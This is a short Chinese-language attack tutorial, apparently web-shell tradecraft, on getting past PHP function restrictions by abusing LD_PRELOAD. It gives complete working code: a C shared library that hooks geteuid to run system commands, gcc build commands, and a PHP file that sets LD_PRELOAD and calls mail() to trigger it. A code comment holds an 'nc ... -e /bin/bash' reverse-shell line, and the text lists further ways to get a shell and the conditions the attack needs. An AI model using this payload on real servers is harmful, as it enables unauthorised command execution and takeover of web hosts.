修改库文件
它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。使用自己的或是更好的函数(无需别人的源码)也可以向别人的程序注入恶意程序
使用内嵌在PHP的mail()函数
Payload
1.创建hack.c文件
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system( "ls /var/www/html > /tmp/smity");//可以nc或bash反弹shell
//nc xxxxx 7777 -e /bin/bash
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
2.将带有命令的c文件编译成为.so文件然后通过代码执行传入
gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so
3.创建hack.php文件并上传
<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>
访问hack.php
或使用nc直接反弹shell
或蚁剑连接后使用插件直接拿到shell
或是使用pcntl_exec nc反弹shell
使用条件
能够上传自己的.so文件;
能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数并且未被禁止;
存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、 imap_mail()、 mb_send_mail()和error_log()等。